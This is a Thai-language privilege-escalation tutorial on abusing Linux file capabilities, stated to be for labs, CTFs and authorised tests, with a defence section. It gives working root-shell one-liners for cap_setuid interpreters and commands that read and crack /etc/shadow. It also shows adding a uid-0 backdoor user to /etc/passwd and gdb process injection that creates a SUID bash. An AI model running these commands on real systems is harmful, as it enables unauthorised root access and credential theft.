คลัง
linux-privesc

Linux Capabilities

Linux Capabilities แบ่งสิทธิ์ root ก้อนเดียวออกเป็น ~40 ชิ้นย่อยที่ตั้งให้ binary ทีละอย่างได้ แทนการให้ SUID root เต็ม — แต่ capability บางตัว (cap_setuid, cap_dac_read_search, cap_dac_override, cap_sys_admin, cap_sys_ptrace, cap_chown) มีพลังพอจะยกระดับเป็น root ได้ บทนี้ลงลึกแนวคิด capability set, การ enum ด้วย getcap/capsh, วิธี abuse แต่ละ capability แบบ GTFOBins, flow การตัดสินใจ, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#capabilities#linux#privesc#cap-setuid#cap-dac-read-search#cap-sys-admin#cap-sys-ptrace#getcap

1. หลักการ — root ที่ถูกแบ่งเป็นชิ้น

เดิม process จะมีสองสถานะ: uid 0 (root) ทำอะไรก็ได้ กับ non-root ที่ถูกจำกัด binary ที่ต้องการสิทธิ์สูงจึงตั้ง SUID root ซึ่งให้อำนาจ root ทั้งหมด ทั้งที่จริงต้องการแค่ส่วนเดียว (เช่น ping ต้องการแค่เปิด raw socket) — เสี่ยงเกินจำเป็น Linux capabilities (ตั้งแต่ kernel 2.2) แบ่งอำนาจ root เป็น ~40 ชิ้น เช่น cap_net_raw = raw socket, cap_net_bind_service = bind port < 1024, cap_setuid = เปลี่ยน uid ได้อิสระ เพื่อให้ binary ได้ เฉพาะที่จำเป็น

แต่หลักการ least-privilege นี้พังทันทีถ้า capability ที่ให้ไปมีพลังพอจะ สร้าง root shell ได้ — เช่น cap_setuid เรียก setuid(0) ได้ตรงๆ เท่ากับได้ root เต็ม การ privesc ผ่าน capability จึงคือการหา binary ที่ (1) มี capability อันตราย และ (2) เรารันมันในลักษณะที่ควบคุมพฤติกรรมได้ (interpreter, tool ที่ read/write ไฟล์ได้)

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest engagement) เท่านั้น

2. Capability sets และ +ep คืออะไร

capability ผูกกับ process ผ่านหลาย set และผูกกับไฟล์ผ่าน file capabilities เวลาอ่านผล getcap จะเห็นตัวย่อ เช่น cap_setuid+ep — ตัวอักษรหลัง + คือ flag ที่บอกว่า capability นั้นถูกวางไว้ใน set ใด

สัญลักษณ์setความหมาย
e (Effective)Effectivecapability ทำงาน 'ทันที' ที่ exec (ไม่ต้องเรียกขอเอง)
p (Permitted)Permittedcapability ที่ process อนุญาตให้ยกขึ้นมาใช้ได้
i (Inheritable)Inheritableส่งต่อข้าม exec ไปยัง child (พบน้อย)
+epEffective+Permittedแบบที่ privesc ง่ายสุด — cap ทำงานเลย
+p (ไม่มี e)Permitted อย่างเดียวbinary ต้อง 'ขอ' cap เอง (program-aware); interpreter ทั่วไปไม่ขอ → มัก abuse ไม่ได้
มองหา +ep เป็นหลัก — cap_setuid+ep บน python/perl = privesc ทันที ถ้าเห็น +p เฉยๆ (ไม่มี e) แปลว่าโปรแกรมต้องเขียนโค้ดขอ capability เอง (เช่น ping) การ abuse จะยากกว่ามาก

3. Enumerate — หา capabilities ทั้งระบบ

getcap / capsh — ค้น capabilityLinux
# หา binary ทุกตัวที่ตั้ง file capability ทั้งระบบ
getcap -r / 2>/dev/null

# ตัวอย่างผลลัพธ์:
#   /usr/bin/ping           = cap_net_raw+ep         ← ปกติ (ไม่ privesc)
#   /usr/bin/python3.8      = cap_setuid+ep          ← privesc ได้!
#   /usr/bin/perl           = cap_setuid+ep          ← privesc ได้!
#   /usr/bin/vim.basic      = cap_dac_override+ep    ← เขียนไฟล์อะไรก็ได้!
#   /usr/bin/tar            = cap_dac_read_search+ep ← อ่าน /etc/shadow ได้!

# ดู capability ของ process/เชลล์ปัจจุบัน (อ่านง่าย)
capsh --print

# ดูดิบจาก /proc (CapEff = effective, CapPrm = permitted)
grep Cap /proc/self/status
# แปลง bitmask เป็นชื่อ:
capsh --decode=00000000a80425fb
getcap -r / คือคำสั่งหลัก — มองหา cap_setuid, cap_dac_override, cap_dac_read_search, cap_sys_admin, cap_sys_ptrace, cap_chown ที่ +ep บน binary ที่ควบคุมพฤติกรรมได้ (interpreter/tool)
linpeas.sh รายงาน capability ในหมวด Capabilities และ highlight ตัวที่ privesc ได้เป็นสีแดง — ใช้เป็นด่านแรกได้ แต่ควรรัน getcap -r / ยืนยันเองด้วย (ดู linpeas)

4. Capability ที่นำไป privesc ได้

capabilityอำนาจabuse เป็น
cap_setuidเปลี่ยน uid อิสระsetuid(0) → root shell (ตรงสุด)
cap_setgidเปลี่ยน gid อิสระsetgid(0) → สิทธิ์ group root
cap_dac_read_searchข้าม permission การอ่าน/ค้นอ่านไฟล์ใดก็ได้ เช่น /etc/shadow, private key
cap_dac_overrideข้าม permission อ่าน+เขียน+execเขียน /etc/passwd, /etc/shadow, sudoers
cap_chownเปลี่ยน owner ไฟล์chown ไฟล์ให้ตัวเอง แล้วแก้ (เช่น shadow)
cap_fownerข้ามการเช็คว่าเป็นเจ้าของchmod ไฟล์ที่ไม่ได้เป็นเจ้าของ
cap_sys_adminงาน admin หลายอย่าง (mount ฯลฯ)mount, ปรับ namespace, หลายช่องทาง
cap_sys_ptraceptrace/แนบ process อื่นinject shellcode เข้า process ของ root
cap_sys_moduleโหลด kernel moduleinsmod โมดูลชั่วร้าย → รันโค้ดใน kernel
cap_net_rawraw/packet socketsniff/spoof (ไม่ใช่ privesc ตรง)
cap_setuid, cap_dac_override, cap_sys_module = ให้ root เต็มโดยตรง; cap_dac_read_search = อ่านความลับทั้งเครื่อง; cap_sys_ptrace/cap_sys_admin = ยกระดับผ่านทางอ้อม อย่าตั้ง capability กลุ่มนี้บน interpreter (python/perl/ruby/node) หรือ tool ทั่วไป (tar/vim/gdb) เด็ดขาด

5. cap_setuid — ตรงสุดถึง root

cap_setuid ให้ process เปลี่ยน uid เป็นค่าใดก็ได้รวมทั้ง 0 ดังนั้น interpreter ที่มี capability นี้แค่เรียก setuid(0) แล้ว spawn shell ก็ได้ root ทันที นี่คือรูปแบบที่พบบ่อยสุดในโจทย์ privesc

abuse cap_setuid ตาม interpreterLinux
# python3 มี cap_setuid+ep
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# ยืนยันด้วย id → uid=0(root)

# perl มี cap_setuid+ep
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

# ruby
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

# node
./node -e 'process.setuid(0); require("child_process").execSync("/bin/sh",{stdio:"inherit"})'

# gdb (มี python ในตัว)
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

# php
./php -r 'posix_setuid(0); system("/bin/sh");'
ต้องเรียก binary ตัวที่ 'มี' capability (path จริงจาก getcap) ไม่ใช่ตัวใน PATH ปกติ; หลัง setuid(0) ตรวจ id ให้เห็น uid=0 ก่อนดีใจ

6. cap_dac_read_search / cap_dac_override

สอง capability นี้ไม่ให้ root โดยตรง แต่ให้ ข้าม Discretionary Access Control (DAC)cap_dac_read_search = อ่าน/ค้นไฟล์ใดก็ได้ (ไม่สนใจ permission), cap_dac_override = อ่าน+เขียน+exec ไฟล์ใดก็ได้ ทั้งคู่นำไป root ได้ทางอ้อมผ่านการอ่าน hash หรือแก้ไฟล์ระบบ

cap_dac_read_search → อ่าน /etc/shadowLinux
# ตัวอย่าง: tar มี cap_dac_read_search+ep → อ่านไฟล์ที่ปกติอ่านไม่ได้
./tar -cvf /tmp/s.tar /etc/shadow          # อ่านได้แม้ไม่ใช่ root
tar -xvf /tmp/s.tar && cat etc/shadow      # ได้ hash → hashcat/john

# python มี cap_dac_read_search
./python3 -c 'print(open("/etc/shadow").read())'

# เมื่อได้ shadow → crack (ดู hash-cracking)
#   unshadow passwd shadow > combined
#   john --wordlist=rockyou.txt combined
cap_dac_read_search อ่านได้อย่างเดียว → เป้าหมายคือดึง /etc/shadow, SSH private key, ไฟล์ config ที่มี credential แล้วเอาไป crack/reuse
cap_dac_override → เขียน /etc/passwd หรือ shadowLinux
# vim.basic มี cap_dac_override+ep → เขียนไฟล์ระบบได้
# วิธี 1: เติม user root ปลอมลง /etc/passwd
#   openssl passwd -1 -salt x pass123   → $1$x$...
./vim.basic /etc/passwd
#   เพิ่มบรรทัด:  hacker:$1$x$hash...:0:0:root:/root:/bin/bash
#   :wq  →  su hacker  (รหัส pass123) → uid=0

# วิธี 2 (python + cap_dac_override): เขียนตรง
./python3 -c '
open("/etc/passwd","a").write("hacker:$1$x$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/bash\n")'
su hacker    # รหัส password

# วิธี 3: ล้าง root password ใน /etc/shadow (แก้ field เป็น :: )
cap_dac_override เขียนได้ → วิธีคลาสสิกคือเติม uid=0 user ลง /etc/passwd ด้วย hash ที่เรารู้รหัส แล้ว su เข้าไป

7. cap_sys_admin / cap_sys_ptrace / cap_sys_module

  • cap_sys_ptrace: แนบ (attach) เข้า process ของ root ที่รันอยู่ แล้ว inject shellcode — เช่นใช้ gdb -p <pid ของ root process> แล้ว call system("/bin/sh") หรือใช้เครื่องมือ inject เข้า process uid 0 เพื่อรันโค้ดในบริบท root
  • cap_sys_module: โหลด kernel module ได้ → เขียน .ko ที่ spawn root shell / เพิ่ม backdoor แล้ว insmod evil.ko รันโค้ดในระดับ kernel = root เหนือทุกอย่าง
  • cap_sys_admin: 'เกือบเท่า root' — mount ไฟล์ระบบ, ปรับ namespace, แก้ config หลายอย่าง เช่น mount device ทับ, สร้าง overlay, หรือใช้ร่วมกับ container escape (ดู docker-escape)
  • cap_chown + cap_fowner: เปลี่ยน owner/สิทธิ์ไฟล์ระบบ (เช่น chown /etc/shadow ให้ตัวเอง) แล้วแก้ hash
cap_sys_ptrace — inject เข้า process ของ root (แนวคิด)Linux
# หา process ที่รันด้วย uid 0
ps -eo pid,user,comm | grep '^ *[0-9]* root'

# แนบด้วย gdb (ต้องมี cap_sys_ptrace) แล้วเรียก system()
gdb -p <root_pid>
(gdb) call (int) system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
(gdb) detach
(gdb) quit

# ได้ SUID bash → เปิด root shell
/tmp/rootbash -p    # -p = ไม่ drop privilege
cap_sys_ptrace บน gdb → attach process root → เรียก system() สร้าง SUID bash; หรือ inject shellcode ด้วยเครื่องมือเฉพาะ

8. Flow — เจอ capability แล้วทำอย่างไร

privesc ผ่าน capability
มี binary ที่ +ep บนตัวอันตรายไหม?
cap_setuidsetuid(0) + spawn shell
cap_dac_read_searchอ่าน /etc/shadow → crack
cap_dac_overrideเขียน /etc/passwd (เติม uid 0)
cap_sys_ptraceattach process root ด้วย gdb
cap_sys_moduleinsmod evil .ko
binary เป็น interpreter/tool ที่คุมพฤติกรรมได้?
python/perl/ruby/node/gdb/tar/vim = ใช่
ใช่เทียบ GTFOBins section Capabilities
ไม่ (เช่น ping +p)มัก abuse ไม่ได้ — หาช่องอื่น
รัน exploit ตาม capability
ยืนยัน id → uid=0(root)
ถ้า capability ไม่ตกกับ interpreter ที่ควบคุมได้ ให้กลับไปไล่ทางอื่น: SUID (ดู suid), sudo, cron (ดู cron-jobs), writable script — capability เป็นเพียงหนึ่งใน checklist privesc

9. ใช้ GTFOBins เป็นตำราอ้างอิง

GTFOBins.github.io รวบรวมวิธี abuse binary มาตรฐานแยกตามบริบท (SUID, Sudo, Capabilities, ...) เมื่อเจอ <binary> = cap_xxx+ep ให้ค้นชื่อ binary ใน GTFOBins แล้วเปิด section Capabilities — จะมี one-liner สำเร็จรูป ถ้า binary นั้นถูก doc ไว้

binarycapability ที่เจอบ่อยแนวทาง GTFOBins
python/python3cap_setuidos.setuid(0)+os.system
perlcap_setuidPOSIX::setuid(0)+exec
ruby / node / phpcap_setuidsetuid(0) แล้ว exec shell
gdbcap_setuid / cap_sys_ptracepython setuid หรือ attach
tar / cp / rsynccap_dac_read_searchดึงไฟล์ที่อ่านไม่ได้ (shadow)
vim / vim.basiccap_dac_overrideเขียนไฟล์ระบบ (passwd)
opensslcap_setuidengine load หรือ setuid

10. การป้องกัน (มุม blue team)

  • อย่าตั้ง capability บน interpreter/tool ทั่วไป — python/perl/ruby/node/gdb/tar/vim ไม่ควรมี cap_setuid/cap_dac_* เด็ดขาด
  • ใช้ +p ไม่ใช่ +ep กับ binary ที่เขียนมารองรับ capability เอง (program-aware) เพื่อไม่ให้ effective ทันทีที่ exec
  • audit สม่ำเสมอ: getcap -r / 2>/dev/null เป็น baseline แล้วเทียบการเปลี่ยนแปลง
  • ลบ capability ที่ไม่จำเป็น: setcap -r /path/to/binary
  • เลี่ยง cap_sys_admin/cap_sys_module/cap_sys_ptrace — เกือบเท่ากับให้ root
  • ใน container ให้ drop capability ทั้งหมดแล้ว add เฉพาะที่ต้องใช้ (--cap-drop=ALL --cap-add=...)
capability ออกแบบมาเพื่อ ลด attack surface (แทน SUID root เต็ม) แต่ถ้าตั้งผิดกับ binary ที่ควบคุมพฤติกรรมได้ กลับกลายเป็นทางลัดสู่ root — ความปลอดภัยอยู่ที่ 'ตั้งให้ถูก binary + ถูก set'

11. Quick Reference

  • capability = สิทธิ์ root แบ่งเป็น ~40 ชิ้น ตั้งให้ binary; มองหา +ep
  • หา: getcap -r / 2>/dev/null · ดูของ process: capsh --print
  • cap_setuid → python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
  • cap_dac_read_search → อ่าน /etc/shadow แล้ว crack
  • cap_dac_override → เขียน /etc/passwd เติม user uid=0
  • cap_sys_ptrace → gdb attach process root → system()
  • cap_sys_module → insmod evil.ko; cap_sys_admin → mount/namespace
  • เทียบ GTFOBins section 'Capabilities' ตามชื่อ binary
  • ป้องกัน: อย่าตั้ง cap บน interpreter/tool; ใช้ +p; setcap -r ลบทิ้ง

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอโจทย์นี้ มีแค่เครื่อง Kali เปล่าๆ กับ shell บนเป้าหมายที่ยังไม่ใช่ root — เพิ่ง enumerate มาแล้วเห็นว่าไม่มี sudo หรือ SUID ที่ใช้ตรงๆ ได้ แต่ getcap เจอ binary แปลกๆ ทำตามขั้นตอนนี้ทีละขั้น

  1. 1พิมพ์ id และ sudo -l ก่อนเสมอ เผื่อมีทางลัดง่ายกว่า capability
  2. 2พิมพ์ getcap -r / 2>/dev/null แล้วรอสักครู่ (สแกนทั้งระบบ) — ดูว่ามีบรรทัดไหนที่ไม่ใช่ /usr/bin/ping (ปกติ)
  3. 3ถ้าเจอบรรทัดแบบ /usr/bin/python3.x = cap_setuid+ep ให้จำ path เต็มไว้ (ต้องเรียกตัวนั้นตรงๆ ไม่ใช่ python3 เฉยๆ ที่มาจาก PATH)
  4. 4เปิดเบราว์เซอร์ไปที่ gtfobins.github.io พิมพ์ชื่อ binary ที่เจอ แล้วดู section Capabilities ว่ามี one-liner ให้ใช้ไหม
  5. 5ถ้ามี ให้ copy คำสั่งจาก GTFOBins มาแทนที่ path ด้วย path เต็มที่เจอจริง แล้วรันดู
  6. 6พิมพ์ id หลังรันเสร็จ ถ้าเห็น uid=0(root) แปลว่าสำเร็จ
  7. 7ถ้ายังไม่ใช่ root ให้เช็คว่าตัวที่เจอเป็น +p เฉยๆ (ไม่มี e) หรือเปล่า — ถ้าใช่ แปลว่า binary ต้องเขียนโค้ดขอ capability เอง มักไม่ได้ผลกับ interpreter ทั่วไป
  8. 8ถ้า capability ไม่ช่วยอะไรเลย ให้กลับไปไล่ checklist อื่น (SUID/SGID/cron) ตาม flow ด้านล่าง
capability เจอแล้วทำอะไรต่อ / ไม่เจอไปทางไหน
เจอ binary +ep บน interpreter/tool อันตรายไหม?
python/perl/ruby/node/gdb/tar/vim + cap_setuid/cap_dac_*
✅ เจอ cap_setuid+ep→ setuid(0) แล้ว spawn shell ตาม GTFOBins
✅ เจอ cap_dac_read_search/override+ep→ อ่าน /etc/shadow หรือเขียน /etc/passwd
❌ ไม่เจอ capability อันตรายเลย→ ไปเช็ค SUID/SGID แทน
รัน exploit ตาม capability ที่เจอ
id ยืนยัน uid=0(root)?
✅ ใช่→ จบงาน ได้ root
❌ ไม่ใช่ (เจอแต่เป็น +p ไม่มี e)→ binary ต้องขอ cap เอง มักใช้ไม่ได้ ข้ามไปท่าอื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา capability ทั้งระบบgetcap, capsh-gtfobins.github.io
ดู capability ของ process ปัจจุบันcapsh --print, cat /proc/self/status--
enumeration อัตโนมัติแบบครบ-linpeas (git clone PEASS-ng)-
monitor process/cron ที่ซ่อนอยู่-pspy (wget binary จาก github)-
เทียบวิธี abuse ตามชื่อ binary--gtfobins.github.io
crack hash หลังได้ /etc/shadowjohn, hashcat-crackstation.net
หา exploit สำเร็จรูปเพิ่มเติมsearchsploit-exploit-db.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: SUID/SGID (ยังไม่ได้เช็ค permission bit อีกแบบ) · Cron Jobs (มี script ที่ root รันเป็นระยะไหม) · Docker Escape (ถ้า id ขึ้น group docker/lxd) · Kernel Exploitation (ทางเลือกท้ายสุดเมื่อ misconfiguration หมดแล้ว) · กลับไป Linux Enumeration ถ้ารู้สึกว่าเก็บข้อมูลยังไม่ครบ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้